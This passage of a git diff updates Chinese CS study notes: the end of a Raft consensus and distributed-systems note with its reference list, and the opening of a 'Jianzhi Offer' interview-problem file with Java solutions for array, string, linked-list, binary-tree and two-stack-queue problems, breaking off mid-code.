+- 下图展示一个分布式系统的最初阶段，此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
 
-<div align="center"> <img src="pics/111521118015898.gif"/> </div><br>
+![](index_files/111521118015898.gif)
 
-- 此时 Node A 发送投票请求给其它所有节点。
+- 此时 Node A 发送投票请求给其它所有节点。
 
-<div align="center"> <img src="pics/111521118445538.gif"/> </div><br>
+![](index_files/111521118445538.gif)
 
-- 其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
+- 其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
 
-<div align="center"> <img src="pics/111521118483039.gif"/> </div><br>
+![](index_files/111521118483039.gif)
 
-- 之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
+- 之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
 
-<div align="center"> <img src="pics/111521118640738.gif"/> </div><br>
+![](index_files/111521118640738.gif)
 
-## 多个 Candidate 竞选
+## 多个 Candidate 竞选
 
-- 如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票，需要重新开始投票。
+- 如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票，需要重新开始投票。
 
-<div align="center"> <img src="pics/111521119203347.gif"/> </div><br>
+![](index_files/111521119203347.gif)
 
-- 由于每个节点设置的随机竞选超时时间不同，因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
+- 由于每个节点设置的随机竞选超时时间不同，因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
 
-<div align="center"> <img src="pics/111521119368714.gif"/> </div><br>
+![](index_files/111521119368714.gif)
 
-## 数据同步
+## 数据同步
 
-- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
+- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
 
-<div align="center"> <img src="pics/7.gif"/> </div><br>
+![](index_files/7.gif)
 
-- Leader 会把修改复制到所有 Follower。
+- Leader 会把修改复制到所有 Follower。
 
-<div align="center"> <img src="pics/9.gif"/> </div><br>
+![](index_files/9.gif)
 
-- Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
+- Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
 
-<div align="center"> <img src="pics/10.gif"/> </div><br>
+![](index_files/10.gif)
 
-- 此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
+- 此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
 
-<div align="center"> <img src="pics/11.gif"/> </div><br>
+![](index_files/11.gif)
 
-# 参考
+# 参考
 
-- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
-- [Distributed locks with Redis](https://redis.io/topics/distlock)
-- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
-- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
-- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
-- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
-- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
-- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
-- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
-- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
-- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
+- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
+- [Distributed locks with Redis](https://redis.io/topics/distlock)
+- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
+- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
+- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
+- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
+- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
+- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
+- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
+- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
+- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
 
+---bottom---CyC---
+![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
+![](index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg)
+![](index_files/cookiedata.png)
+![](index_files/MultiNode-StickySessions.jpg)
+![](index_files/MultiNode-SessionReplication.jpg)
+![](index_files/MultiNode-SpringSession.jpg)
+![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
+![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
+![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
+![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
+![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
+![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
+![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
+![](index_files/2018040302.jpg)
+![](index_files/10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png)
+![](index_files/f8b16d1e-7363-4544-94d6-4939fdf849dc.png)
+![](index_files/f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png)
+![](index_files/265a355d-aead-48aa-b455-f33b62fe729f.png)
+![](index_files/52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 140023c7..58f26f38 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,1078 +1,993 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [1. 前言](#1-前言)
-* [2. 实现 Singleton](#2-实现-singleton)
-* [3. 数组中重复的数字](#3-数组中重复的数字)
-* [4. 二维数组中的查找](#4-二维数组中的查找)
-* [5. 替换空格](#5-替换空格)
-* [6. 从尾到头打印链表](#6-从尾到头打印链表)
-* [7. 重建二叉树](#7-重建二叉树)
-* [8. 二叉树的下一个结点](#8-二叉树的下一个结点)
-* [9. 用两个栈实现队列](#9-用两个栈实现队列)
-* [10.1 斐波那契数列](#101-斐波那契数列)
-* [10.2 跳台阶](#102-跳台阶)
-* [10.3 矩形覆盖](#103-矩形覆盖)
-* [10.4 变态跳台阶](#104-变态跳台阶)
-* [11. 旋转数组的最小数字](#11-旋转数组的最小数字)
-* [12. 矩阵中的路径](#12-矩阵中的路径)
-* [13. 机器人的运动范围](#13-机器人的运动范围)
-* [14. 剪绳子](#14-剪绳子)
-* [15. 二进制中 1 的个数](#15-二进制中-1-的个数)
-* [16. 数值的整数次方](#16-数值的整数次方)
-* [17. 打印从 1 到最大的 n 位数](#17-打印从-1-到最大的-n-位数)
-* [18.1 在 O(1) 时间内删除链表节点](#181-在-o1-时间内删除链表节点)
-* [18.2 删除链表中重复的结点](#182-删除链表中重复的结点)
-* [19. 正则表达式匹配](#19-正则表达式匹配)
-* [20. 表示数值的字符串](#20-表示数值的字符串)
-* [21. 调整数组顺序使奇数位于偶数前面](#21-调整数组顺序使奇数位于偶数前面)
-* [22. 链表中倒数第 K 个结点](#22-链表中倒数第-k-个结点)
-* [23. 链表中环的入口结点](#23-链表中环的入口结点)
-* [24. 反转链表](#24-反转链表)
-* [25. 合并两个排序的链表](#25-合并两个排序的链表)
-* [26. 树的子结构](#26-树的子结构)
-* [27. 二叉树的镜像](#27-二叉树的镜像)
-* [28 对称的二叉树](#28-对称的二叉树)
-* [29. 顺时针打印矩阵](#29-顺时针打印矩阵)
-* [30. 包含 min 函数的栈](#30-包含-min-函数的栈)
-* [31. 栈的压入、弹出序列](#31-栈的压入弹出序列)
-* [32.1 从上往下打印二叉树](#321-从上往下打印二叉树)
-* [32.2 把二叉树打印成多行](#322-把二叉树打印成多行)
-* [32.3 按之字形顺序打印二叉树](#323-按之字形顺序打印二叉树)
-* [33. 二叉搜索树的后序遍历序列](#33-二叉搜索树的后序遍历序列)
-* [34. 二叉树中和为某一值的路径](#34-二叉树中和为某一值的路径)
-* [35. 复杂链表的复制](#35-复杂链表的复制)
-* [36. 二叉搜索树与双向链表](#36-二叉搜索树与双向链表)
-* [37. 序列化二叉树](#37-序列化二叉树)
-* [38. 字符串的排列](#38-字符串的排列)
-* [39. 数组中出现次数超过一半的数字](#39-数组中出现次数超过一半的数字)
-* [40. 最小的 K 个数](#40-最小的-k-个数)
-* [41.1 数据流中的中位数](#411-数据流中的中位数)
-* [41.2 字符流中第一个不重复的字符](#412-字符流中第一个不重复的字符)
-* [42. 连续子数组的最大和](#42-连续子数组的最大和)
-* [43. 从 1 到 n 整数中 1 出现的次数](#43-从-1-到-n-整数中-1-出现的次数)
-* [44. 数字序列中的某一位数字](#44-数字序列中的某一位数字)
-* [45. 把数组排成最小的数](#45-把数组排成最小的数)
-* [46. 把数字翻译成字符串](#46-把数字翻译成字符串)
-* [47. 礼物的最大价值](#47-礼物的最大价值)
-* [48. 最长不含重复字符的子字符串](#48-最长不含重复字符的子字符串)
-* [49. 丑数](#49-丑数)
-* [50. 第一个只出现一次的字符位置](#50-第一个只出现一次的字符位置)
-* [51. 数组中的逆序对](#51-数组中的逆序对)
-* [52. 两个链表的第一个公共结点](#52-两个链表的第一个公共结点)
-* [53. 数字在排序数组中出现的次数](#53-数字在排序数组中出现的次数)
-* [54. 二叉查找树的第 K 个结点](#54-二叉查找树的第-k-个结点)
-* [55.1 二叉树的深度](#551-二叉树的深度)
-* [55.2 平衡二叉树](#552-平衡二叉树)
-* [56. 数组中只出现一次的数字](#56-数组中只出现一次的数字)
-* [57.1 和为 S 的两个数字](#571-和为-s-的两个数字)
-* [57.2 和为 S 的连续正数序列](#572-和为-s-的连续正数序列)
-* [58.1 翻转单词顺序列](#581-翻转单词顺序列)
-* [58.2 左旋转字符串](#582-左旋转字符串)
-* [59. 滑动窗口的最大值](#59-滑动窗口的最大值)
-* [60. n 个骰子的点数](#60-n-个骰子的点数)
-* [61. 扑克牌顺子](#61-扑克牌顺子)
-* [62. 圆圈中最后剩下的数](#62-圆圈中最后剩下的数)
-* [63. 股票的最大利润](#63-股票的最大利润)
-* [64. 求 1+2+3+...+n](#64-求-123n)
-* [65. 不用加减乘除做加法](#65-不用加减乘除做加法)
-* [66. 构建乘积数组](#66-构建乘积数组)
-* [67. 把字符串转换成整数](#67-把字符串转换成整数)
-* [68. 树中两个节点的最低公共祖先](#68-树中两个节点的最低公共祖先)
-* [参考文献](#参考文献)
-<!-- GFM-TOC -->
-
-
-# 1. 前言
+# 1. 前言
 
 本文内容可在微信小程序中阅读：
 
-<div align="center"> <img src="pics/gh_a68199af85d6_258_20_282_29.jpg"/> </div><br>
+![](index_files/gh_a68199af85d6_258_20_282_29.jpg)
 
-# 2. 实现 Singleton
+# 2. 实现 Singleton
 
 [单例模式](设计模式.md)
 
-# 3. 数组中重复的数字
+# 3. 数组中重复的数字
 
 [NowCoder](https://www.nowcoder.com/practice/623a5ac0ea5b4e5f95552655361ae0a8?tpId=13&tqId=11203&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
+在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
 
 ```html
 Input:
-{2, 3, 1, 0, 2, 5}
+{2, 3, 1, 0, 2, 5}
 
 Output:
 2
 ```
 
-## 解题思路
+## 解题思路
 
-要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
+要求是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
 
-对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
+对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
 
-以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
-
-<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/raw/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
+以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
 
+<img src="index_files/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif" width="250px">
 
 ```java
-public boolean duplicate(int[] nums, int length, int[] duplication) {
-    if (nums == null || length <= 0)
-        return false;
-    for (int i = 0; i < length; i++) {
-        while (nums[i] != i) {
-            if (nums[i] == nums[nums[i]]) {
-                duplication[0] = nums[i];
-                return true;
-            }
-            swap(nums, i, nums[i]);
-        }
-    }
-    return false;
+public boolean duplicate(int[] nums, int length, int[] duplication) {
+    if (nums == null || length <= 0)
+        return false;
+    for (int i = 0; i < length; i++) {
+        while (nums[i] != i) {
+            if (nums[i] == nums[nums[i]]) {
+                duplication[0] = nums[i];
+                return true;
+            }
+            swap(nums, i, nums[i]);
+        }
+    }
+    return false;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-# 4. 二维数组中的查找
+# 4. 二维数组中的查找
 
 [NowCoder](https://www.nowcoder.com/practice/abc3fe2ce8e146608e868a70efebf62e?tpId=13&tqId=11154&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-在一个二维数组中，每一行都按照从左到右递增的顺序排序，每一列都按照从上到下递增的顺序排序。请完成一个函数，输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。
+给定一个二维数组，其每一行从左到右递增排序，从上到下也是递增排序。给定一个数，判断这个数是否在该二维数组中。
 
 ```html
-Consider the following matrix:
+Consider the following matrix:
 [
-  [1,   4,  7, 11, 15],
-  [2,   5,  8, 12, 19],
-  [3,   6,  9, 16, 22],
-  [10, 13, 14, 17, 24],
-  [18, 21, 23, 26, 30]
+  [1,   4,  7, 11, 15],
+  [2,   5,  8, 12, 19],
+  [3,   6,  9, 16, 22],
+  [10, 13, 14, 17, 24],
+  [18, 21, 23, 26, 30]
 ]
 
-Given target = 5, return true.
-Given target = 20, return false.
+Given target = 5, return true.
+Given target = 20, return false.
 ```
 
-## 解题思路
+## 解题思路
 
-从右上角开始查找。矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
+要求时间复杂度 O(M + N)，空间复杂度 O(1)。
 
-复杂度：O(M + N) + O(1)
+该二维数组中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间，当前元素的查找区间为左下角的所有元素。
 
-当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
-
-<div align="center"> <img src="pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png" width="250"/> </div><br>
+![](index_files/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif)
 
 ```java
-public boolean Find(int target, int[][] matrix) {
-    if (matrix == null || matrix.length == 0 || matrix[0].length == 0)
-        return false;
-    int rows = matrix.length, cols = matrix[0].length;
-    int r = 0, c = cols - 1; // 从右上角开始
-    while (r <= rows - 1 && c >= 0) {
-        if (target == matrix[r][c])
-            return true;
-        else if (target > matrix[r][c])
-            r++;
-        else
-            c--;
-    }
-    return false;
+public boolean Find(int target, int[][] matrix) {
+    if (matrix == null || matrix.length == 0 || matrix[0].length == 0)
+        return false;
+    int rows = matrix.length, cols = matrix[0].length;
+    int r = 0, c = cols - 1; // 从右上角开始
+    while (r <= rows - 1 && c >= 0) {
+        if (target == matrix[r][c])
+            return true;
+        else if (target > matrix[r][c])
+            r++;
+        else
+            c--;
+    }
+    return false;
 }
 ```
 
-# 5. 替换空格
+# 5. 替换空格
 
 [NowCoder](https://www.nowcoder.com/practice/4060ac7e3e404ad1a894ef3e17650423?tpId=13&tqId=11155&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 
-将一个字符串中的空格替换成 "%20"。
+将一个字符串中的空格替换成 "%20"。
 
 ```text
 Input:
-"We Are Happy"
+"A B"
 
 Output:
-"We%20Are%20Happy"
+"A%20B"
 ```
 
-## 解题思路
+## 解题思路
 
 在字符串尾部填充任意字符，使得字符串的长度等于替换之后的长度。因为一个空格要替换成三个字符（%20），因此当遍历到一个空格时，需要在尾部填充两个任意字符。
 
-令 P1 指向字符串原来的末尾位置，P2 指向字符串现在的末尾位置。P1 和 P2 从后向前遍历，当 P1 遍历到一个空格时，就需要令 P2 指向的位置依次填充 02%（注意是逆序的），否则就填充上 P1 指向字符的值。
+令 P1 指向字符串原来的末尾位置，P2 指向字符串现在的末尾位置。P1 和 P2 从后向前遍历，当 P1 遍历到一个空格时，就需要令 P2 指向的位置依次填充 02%（注意是逆序的），否则就填充上 P1 指向字符的值。
 
-从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
+从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
+
+![](index_files/_u66FF_u6362_u7A7A_u683C.gif)
 
 ```java
-public String replaceSpace(StringBuffer str) {
-    int P1 = str.length() - 1;
-    for (int i = 0; i <= P1; i++)
-        if (str.charAt(i) == ' ')
-            str.append("  ");
+public String replaceSpace(StringBuffer str) {
+    int P1 = str.length() - 1;
+    for (int i = 0; i <= P1; i++)
+        if (str.charAt(i) == ' ')
+            str.append("  ");
 
-    int P2 = str.length() - 1;
-    while (P1 >= 0 && P2 > P1) {
-        char c = str.charAt(P1--);
-        if (c == ' ') {
-            str.setCharAt(P2--, '0');
-            str.setCharAt(P2--, '2');
-            str.setCharAt(P2--, '%');
-        } else {
-            str.setCharAt(P2--, c);
-        }
-    }
-    return str.toString();
+    int P2 = str.length() - 1;
+    while (P1 >= 0 && P2 > P1) {
+        char c = str.charAt(P1--);
+        if (c == ' ') {
+            str.setCharAt(P2--, '0');
+            str.setCharAt(P2--, '2');
+            str.setCharAt(P2--, '%');
+        } else {
+            str.setCharAt(P2--, c);
+        }
+    }
+    return str.toString();
 }
 ```
 
-# 6. 从尾到头打印链表
+# 6. 从尾到头打印链表
 
 [NowCoder](https://www.nowcoder.com/practice/d0267f7f55b3412ba93bd35cfa8e8035?tpId=13&tqId=11156&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入链表的第一个节点，从尾到头反过来打印出每个结点的值。
 
-<div align="center"> <img src="pics/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
+<img src="index_files/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
-### 使用栈
+### 使用栈
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    Stack<Integer> stack = new Stack<>();
-    while (listNode != null) {
-        stack.add(listNode.val);
-        listNode = listNode.next;
-    }
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (!stack.isEmpty())
-        ret.add(stack.pop());
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    Stack<Integer> stack = new Stack<>();
+    while (listNode != null) {
+        stack.add(listNode.val);
+        listNode = listNode.next;
+    }
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (!stack.isEmpty())
+        ret.add(stack.pop());
+    return ret;
 }
 ```
 
-### 使用递归
+### 使用递归
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (listNode != null) {
-        ret.addAll(printListFromTailToHead(listNode.next));
-        ret.add(listNode.val);
-    }
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (listNode != null) {
+        ret.addAll(printListFromTailToHead(listNode.next));
+        ret.add(listNode.val);
+    }
+    return ret;
 }
 ```
 
-### 使用头插法
+### 使用头插法
 
 利用链表头插法为逆序的特点。
 
 头结点和第一个节点的区别：
 
-- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
-- 第一个节点就是链表的第一个真正存储值的节点。
+- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
+- 第一个节点就是链表的第一个真正存储值的节点。
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    // 头插法构建逆序链表
-    ListNode head = new ListNode(-1);
-    while (listNode != null) {
-        ListNode memo = listNode.next;
-        listNode.next = head.next;
-        head.next = listNode;
-        listNode = memo;
-    }
-    // 构建 ArrayList
-    ArrayList<Integer> ret = new ArrayList<>();
-    head = head.next;
-    while (head != null) {
-        ret.add(head.val);
-        head = head.next;
-    }
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    // 头插法构建逆序链表
+    ListNode head = new ListNode(-1);
+    while (listNode != null) {
+        ListNode memo = listNode.next;
+        listNode.next = head.next;
+        head.next = listNode;
+        listNode = memo;
+    }
+    // 构建 ArrayList
+    ArrayList<Integer> ret = new ArrayList<>();
+    head = head.next;
+    while (head != null) {
+        ret.add(head.val);
+        head = head.next;
+    }
+    return ret;
 }
 ```
 
-### 使用 Collections.reverse()
+### 使用 Collections.reverse()
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (listNode != null) {
-        ret.add(listNode.val);
-        listNode = listNode.next;
-    }
-    Collections.reverse(ret);
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (listNode != null) {
+        ret.add(listNode.val);
+        listNode = listNode.next;
+    }
+    Collections.reverse(ret);
+    return ret;
 }
 ```
 
-# 7. 重建二叉树
+# 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 根据二叉树的前序遍历和中序遍历的结果，重建出该二叉树。假设输入的前序遍历和中序遍历的结果中都不含重复的数字。
 
 ```html
-preorder = [3,9,20,15,7]
-inorder =  [9,3,15,20,7]
+preorder = [3,9,20,15,7]
+inorder =  [9,3,15,20,7]
 ```
 
-<div align="center"> <img src="pics/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/> </div><br>
+<img src="index_files/8a4c6ad4-a816-47d1-b93f-7ca4f78ab67a.png" width="250"/>
 
-## 解题思路
+## 解题思路
 
 前序遍历的第一个值为根节点的值，使用这个值将中序遍历结果分成两部分，左部分为树的左子树中序遍历结果，右部分为树的右子树中序遍历的结果。
 
 ```java
-// 缓存中序遍历数组每个值对应的索引
-private Map<Integer, Integer> indexForInOrders = new HashMap<>();
+// 缓存中序遍历数组每个值对应的索引
+private Map<Integer, Integer> indexForInOrders = new HashMap<>();
 
-public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
-    for (int i = 0; i < in.length; i++)
-        indexForInOrders.put(in[i], i);
-    return reConstructBinaryTree(pre, 0, pre.length - 1, 0);
+public TreeNode reConstructBinaryTree(int[] pre, int[] in) {
+    for (int i = 0; i < in.length; i++)
+        indexForInOrders.put(in[i], i);
+    return reConstructBinaryTree(pre, 0, pre.length - 1, 0);
 }
 
-private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL) {
-    if (preL > preR)
-        return null;
-    TreeNode root = new TreeNode(pre[preL]);
-    int inIndex = indexForInOrders.get(root.val);
-    int leftTreeSize = inIndex - inL;
-    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL);
-    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1);
-    return root;
+private TreeNode reConstructBinaryTree(int[] pre, int preL, int preR, int inL) {
+    if (preL > preR)
+        return null;
+    TreeNode root = new TreeNode(pre[preL]);
+    int inIndex = indexForInOrders.get(root.val);
+    int leftTreeSize = inIndex - inL;
+    root.left = reConstructBinaryTree(pre, preL + 1, preL + leftTreeSize, inL);
+    root.right = reConstructBinaryTree(pre, preL + leftTreeSize + 1, preR, inL + leftTreeSize + 1);
+    return root;
 }
 ```
 
-# 8. 二叉树的下一个结点
+# 8. 二叉树的下一个结点
 
 [NowCoder](https://www.nowcoder.com/practice/9023a0c988684a53960365b889ceaf5e?tpId=13&tqId=11210&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 给定一个二叉树和其中的一个结点，请找出中序遍历顺序的下一个结点并且返回。注意，树中的结点不仅包含左右子结点，同时包含指向父结点的指针。
 
 ```java
-public class TreeLinkNode {
+public class TreeLinkNode {
 
-    int val;
-    TreeLinkNode left = null;
-    TreeLinkNode right = null;
-    TreeLinkNode next = null;
+    int val;
+    TreeLinkNode left = null;
+    TreeLinkNode right = null;
+    TreeLinkNode next = null;
 
-    TreeLinkNode(int val) {
-        this.val = val;
-    }
+    TreeLinkNode(int val) {
+        this.val = val;
+    }
 }
 ```
 
-## 解题思路
+## 解题思路
 
-① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
+① 如果一个节点的右子树不为空，那么该节点的下一个节点是右子树的最左节点；
 
-<div align="center"> <img src="pics/cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/> </div><br>
+<img src="index_files/cb0ed469-27ab-471b-a830-648b279103c8.png" width="250"/>
 
-② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
+② 否则，向上找第一个左链接指向的树包含该节点的祖先节点。
 
-<div align="center"> <img src="pics/e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/> </div><br>
+<img src="index_files/e143f6da-d114-4ba4-8712-f65299047fa2.png" width="250"/>
 
 ```java
-public TreeLinkNode GetNext(TreeLinkNode pNode) {
-    if (pNode.right != null) {
-        TreeLinkNode node = pNode.right;
-        while (node.left != null)
-            node = node.left;
-        return node;
-    } else {
-        while (pNode.next != null) {
-            TreeLinkNode parent = pNode.next;
-            if (parent.left == pNode)
-                return parent;
-            pNode = pNode.next;
-        }
-    }
-    return null;
+public TreeLinkNode GetNext(TreeLinkNode pNode) {
+    if (pNode.right != null) {
+        TreeLinkNode node = pNode.right;
+        while (node.left != null)
+            node = node.left;
+        return node;
+    } else {
+        while (pNode.next != null) {
+            TreeLinkNode parent = pNode.next;
+            if (parent.left == pNode)
+                return parent;
+            pNode = pNode.next;
+        }
+    }
+    return null;
 }
 ```
 
-# 9. 用两个栈实现队列
+# 9. 用两个栈实现队列
 
 [NowCoder](https://www.nowcoder.com/practice/54275ddae22f475981afa2244dd448c6?tpId=13&tqId=11158&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
+用两个栈来实现一个队列，完成队列的 Push 和 Pop 操作。
 
-## 解题思路
+## 解题思路
 
-in 栈用来处理入栈（push）操作，out 栈用来处理出栈（pop）操作。一个元素进入 in 栈之后，出栈的顺序被反转。当元素要出栈时，需要先进入 out 栈，此时元素出栈顺序再一次被反转，因此出栈顺序就和最开始入栈顺序是相同的，先进入的元素先退出，这就是队列的顺序。
+in 栈用来处理入栈（push）操作，out 栈用来处理出栈（pop）操作。一个元素进入 in 栈之后，出栈的顺序被反转。当元素要出栈时，需要先进入 out 栈，此时元素出栈顺序再一次被反转，因此出栈顺序就和最开始入栈顺序是相同的，先进入的元素先退出，这就是队列的顺序。
 
-<div align="center"> <img src="pics/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/> </div><br>
+<img src="index_files/5acf7550-86c5-4c5b-b912-8ce70ef9c34e.png" width="400"/>
 
 ```java
-Stack<Integer> in = new Stack<Integer>();
-Stack<Integer> out = new Stack<Integer>();
+Stack<Integer> in = new Stack<Integer>();
+Stack<Integer> out = new Stack<Integer>();
 
-public void push(int node) {
-    in.push(node);
